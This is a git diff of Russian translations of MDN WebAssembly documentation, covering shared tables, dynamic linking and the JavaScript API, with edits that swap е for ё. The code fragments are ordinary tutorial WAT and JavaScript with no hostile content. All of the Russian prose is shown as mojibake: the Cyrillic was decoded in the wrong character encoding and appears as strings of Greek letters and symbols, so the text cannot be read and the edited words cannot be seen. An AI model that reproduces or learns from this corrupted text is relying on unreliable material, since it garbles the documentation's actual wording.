<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ измСняСмыми, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ слоТных схСм <a href="http://webassembly.org/docs/dynamic-linking">динамичСского связывания</a> Π²ΠΎ врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ Π²ΠΎ врСмя выполнСния. Когда ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° динамичСски связана, нСсколько экзСмпляров ΠΌΠΎΠ³ΡƒΡ‚ совмСстно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΠ½Π΅ΠΉΠ½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ссылок. Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π³Π΄Π΅ нСсколько скомпилированных <code>.dll</code> совмСстно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ адрСсноС пространство ΠΎΠ΄Π½ΠΎΠ³ΠΎ процСсса.</p>
@@ -490,14 +490,14 @@ WebAssembly.instantiateStreaming(fetch('logger2.wasm'), importObject)
<ol>
<li>Ѐункция <code>shared0func</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² <code>shared0.wat</code> ΠΈ сохраняСтся Π² нашСй ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅.</li>
- <li>Π­Ρ‚Π° функция создаСт константу, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>0</code>, Π·Π°Ρ‚Π΅ΠΌ инструкция <code>i32.load</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ памяти ΠΏΠΎ прСдоставлСнному константой индСксу. ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉΒ  индСкс Ρ€Π°Π²Π΅Π½ <code>0</code>. Как ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ инструкции, <code>i32.load</code> нСявно ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ прСдоставлСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· стСка. Π˜Ρ‚Π°ΠΊ, <code>shared0func</code> Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, хранящССся Π² индСксС памяти <code>0</code>.</li>
+ <li>Π­Ρ‚Π° функция создаёт константу, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>0</code>, Π·Π°Ρ‚Π΅ΠΌ инструкция <code>i32.load</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ памяти ΠΏΠΎ прСдоставлСнному константой индСксу. ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉΒ  индСкс Ρ€Π°Π²Π΅Π½ <code>0</code>. Как ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ инструкции, <code>i32.load</code> нСявно ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ прСдоставлСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· стСка. Π˜Ρ‚Π°ΠΊ, <code>shared0func</code> Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, хранящССся Π² индСксС памяти <code>0</code>.</li>
<li>Π’ <code>shared1.wat</code> ΠΌΡ‹ экспортируСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>doIt</code> - эта функция Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Π² стСкС  Π΄Π²Π΅ константы, содСрТащиС значСния <code>0</code> ΠΈ <code>42</code>. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½Π° Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ <code>i32.store</code> для сохранСния прСдоставлСнного значСния ΠΏΠΎ прСдоставлСнному индСксу Π² ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ памяти. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, инструкция нСявно ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ эти значСния ΠΈΠ· стСка. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ <code>doIt</code> сохраняСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>42</code> Π² индСксС памяти <code>0</code>.</li>
- <li>Π’ послСднСй части Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаСтся константа со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>0</code>, Π·Π°Ρ‚Π΅ΠΌ вызываСтся  функция с этим индСксом (<code>0</code>) ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ функция <code>shared0func</code> модуля <code>shared0.wat</code>, которая Ρ€Π°Π½Π΅Π΅ Π±Ρ‹Π»Π° Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π° Ρ‚Π°ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСкции <code>elem</code>.</li>
+ <li>Π’ послСднСй части Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаётся константа со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>0</code>, Π·Π°Ρ‚Π΅ΠΌ вызываСтся  функция с этим индСксом (<code>0</code>) ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ функция <code>shared0func</code> модуля <code>shared0.wat</code>, которая Ρ€Π°Π½Π΅Π΅ Π±Ρ‹Π»Π° Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π° Ρ‚Π°ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСкции <code>elem</code>.</li>
<li>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ shared0func Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ число <code>42</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ сохранили Π² памяти, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π°Π½Π΅Π΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ инструкции <code>i32.store</code> Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅ <code>shared1.wat</code>.</li>
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ выраТСния нСявно ΠΈΠ·Π²Π»Π΅ΠΊΠ°ΡŽΡ‚ значСния ΠΈΠ· стСка, Π½ΠΎ вмСсто этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΈΡ… явно Π² Π²Ρ‹Π·ΠΎΠ²Π°Ρ… инструкций, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ выраТСния нСявно ΠΈΠ·Π²Π»Π΅ΠΊΠ°ΡŽΡ‚ значСния ΠΈΠ· стСка, Π½ΠΎ вмСсто этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΈΡ… явно Π² Π²Ρ‹Π·ΠΎΠ²Π°Ρ… инструкций, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre>(i32.store (i32.const 0) (i32.const 42))
(call_indirect (type $void_to_i32) (i32.const 0))</pre>
diff --git a/files/ru/webassembly/using_the_javascript_api/index.html b/files/ru/webassembly/using_the_javascript_api/index.html
index 21a38cbbc4..ecc973376c 100644
--- a/files/ru/webassembly/using_the_javascript_api/index.html
+++ b/files/ru/webassembly/using_the_javascript_api/index.html
@@ -9,7 +9,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
---
<div>{{WebAssemblySidebar}}</div>
-<p class="summary">Если Π²Ρ‹ ΡƒΠΆΠ΅ <a href="/ru/docs/WebAssembly/C_to_wasm">ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ языка, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π°ΠΊΠΈΠ΅ инструмСнты ΠΊΠ°ΠΊ Emscripten</a>, ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π»ΠΈ ΠΈ запускали ΠΊΠΎΠ΄, Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ возмоТностСй WebAssembly JavaScript API. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ даст Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ знания ΠΏΠΎ этому вопросу.</p>
+<p class="summary">Если Π²Ρ‹ ΡƒΠΆΠ΅ <a href="/ru/docs/WebAssembly/C_to_wasm">ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ языка, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π°ΠΊΠΈΠ΅ инструмСнты ΠΊΠ°ΠΊ Emscripten</a>, ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π»ΠΈ ΠΈ запускали ΠΊΠΎΠ΄, Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ возмоТностСй WebAssembly JavaScript API. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ даст Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ знания ΠΏΠΎ этому вопросу.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Ρ‹ Π½Π΅Π·Π½Π°ΠΊΠΎΠΌΡ‹ с Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ понятиями, упомянутыми Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ объяснСния, Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ сначала ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎ <a href="/ru/docs/WebAssembly/Concepts">ΠžΡΠ½ΠΎΠ²Ρ‹ WebAssembly</a>.</p>
@@ -26,8 +26,8 @@ translation_of: WebAssembly/Using_the_JavaScript_API
<h3 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°_ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°</h3>
<ol>
- <li>Для Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ wasm-ΠΌΠΎΠ΄ΡƒΠ»ΡŒ! Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ наш Ρ„Π°ΠΉΠ» <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/simple.wasm">simple.wasm</a> ΠΈ сохранитС копию Π² Π½ΠΎΠ²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Π½Π° своСм локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
- <li>Π”Π°Π»Π΅Π΅, Π΄Π°Π²Π°ΠΉΡ‚Π΅ создадим Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Ρ‡Ρ‚ΠΎ ΠΈ wasm-ΠΌΠΎΠ΄ΡƒΠ»ΡŒ простой HTML-Ρ„Π°ΠΉΠ» ΠΈ Π½Π°Π·ΠΎΠ²Π΅ΠΌ Π΅Π³ΠΎ <code>index.html</code> (ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a> Ссли Π²Ρ‹ этого Π΅Ρ‰Π΅ Π½Π΅ сдСлали).</li>
+ <li>Для Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ wasm-ΠΌΠΎΠ΄ΡƒΠ»ΡŒ! Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ наш Ρ„Π°ΠΉΠ» <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/simple.wasm">simple.wasm</a> ΠΈ сохранитС копию Π² Π½ΠΎΠ²ΠΎΠΉ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Π½Π° своём локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</li>
+ <li>Π”Π°Π»Π΅Π΅, Π΄Π°Π²Π°ΠΉΡ‚Π΅ создадим Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ Ρ‡Ρ‚ΠΎ ΠΈ wasm-ΠΌΠΎΠ΄ΡƒΠ»ΡŒ простой HTML-Ρ„Π°ΠΉΠ» ΠΈ Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ Π΅Π³ΠΎ <code>index.html</code> (ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a> Ссли Π²Ρ‹ этого Π΅Ρ‰Ρ‘ Π½Π΅ сдСлали).</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ Ρ‡Ρ‚ΠΎ происходит Π² ΠΊΠΎΠ΄Π΅ модуля, Π΄Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° Π΅Π³ΠΎ тСкстовоС прСдставлСниС (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ встрСчали Π² <a href="/en-US/docs/WebAssembly/Text_format_to_wasm#A_first_look_at_the_text_format">ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄ ΠΈΠ· тСкстового Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° WebAssembly Π² wasm</a>):
<pre>(module
(func $i (import "imports" "imported_func") (param i32))
@@ -35,7 +35,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
i32.const 42
call $i))</pre>
</li>
- <li>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ строчкС Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ import ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²ΡƒΡ…ΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅ пространство ΠΈΠΌΠ΅Π½ - внутрСнняя функция <code>$i</code> ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π° ΠΈΠ· <code>imports.imported_func</code>. Нам Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ это Π΄Π²ΡƒΡ…ΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅ пространство ΠΈΠΌΠ΅Π½ Π² JavaScript-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π² wasm-ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ <code>&lt;script&gt;&lt;/script&gt;</code> элСмСнт Π² своСм HTML-Ρ„Π°ΠΉΠ»Π΅, ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:
+ <li>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ строчкС Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ import ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²ΡƒΡ…ΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅ пространство ΠΈΠΌΡ‘Π½ - внутрСнняя функция <code>$i</code> ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π° ΠΈΠ· <code>imports.imported_func</code>. Нам Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ это Π΄Π²ΡƒΡ…ΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅ пространство ΠΈΠΌΡ‘Π½ Π² JavaScript-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π² wasm-ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ <code>&lt;script&gt;&lt;/script&gt;</code> элСмСнт Π² своём HTML-Ρ„Π°ΠΉΠ»Π΅, ΠΈ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄:
<pre class="brush: js">var importObject = {
imports: { imported_func: arg =&gt; console.log(arg) }
};</pre>
@@ -77,7 +77,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
<h3 id="ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€_wasm_Π²_инструмСнтах_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°">ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ wasm Π² инструмСнтах Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</h3>
-<p>Π’ Firefox 54+, Π² ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° имССтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ отобраТСния тСкстового прСдставлСния любого wasm-ΠΊΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π² Π²Π΅Π±-страницу. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Π³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½ΡƒΡŽ панСль ΠΈ Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° ΠΏΡƒΠ½ΠΊΡ‚ "wasm://".</p>
+<p>Π’ Firefox 54+, Π² ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° имССтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ отобраТСния тСкстового прСдставлСния любого wasm-ΠΊΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² Π²Π΅Π±-страницу. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Π³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½ΡƒΡŽ панСль ΠΈ Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° ΠΏΡƒΠ½ΠΊΡ‚ "wasm://".</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/15823/wasm-debug.png" style="display: block; height: 317px; margin: 0px auto; width: 1019px;"></p>
@@ -93,7 +93,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ исслСдуСм эту Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ рассмотрСв нСбольшой ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ HTML страницу (скопируйтС <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a>) ΠΈ Π½Π°Π·ΠΎΠ²ΠΈΡ‚Π΅ Π΅Ρ‘ <code>memory.html</code>. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ <code>&lt;script&gt;&lt;/script&gt;</code> элСмСнт Π½Π° страницу.</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ HTML страницу (скопируйтС <a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML шаблон</a>) ΠΈ Π½Π°Π·ΠΎΠ²ΠΈΡ‚Π΅ Π΅Ρ‘ <code>memory.html</code>. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ <code>&lt;script&gt;&lt;/script&gt;</code> элСмСнт Π½Π° страницу.</p>
<ol>
<li>
@@ -125,7 +125,7 @@ translation_of: WebAssembly/Using_the_JavaScript_API
<p>ΠŸΡ€ΠΈ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ΅Π½ΠΈΠΈ максимального значСния, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈ создании ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти, Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{jsxref("WebAssembly.RangeError")}}. Π”Π²ΠΈΠΆΠΎΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ прСдоставлСнныС Π²Π΅Ρ€Ρ…Π½ΠΈΠ΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ для рСзСрвирования памяти Π·Π°Ρ€Π°Π½Π΅Π΅, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ памяти Π±ΠΎΠ»Π΅Π΅ эффСктивным.</p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Π°ΠΊ ΠΊΠ°ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("ArrayBuffer")}} Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, послС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{jsxref("Memory.prototype.grow()")}} свойство buffer ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° памяти Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("ArrayBuffer")}} (с Π½ΠΎΠ²Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Π² свойствС byteLength) ΠΈ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ArrayBuffer станут Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€ΠΎΠ΄Π΅ 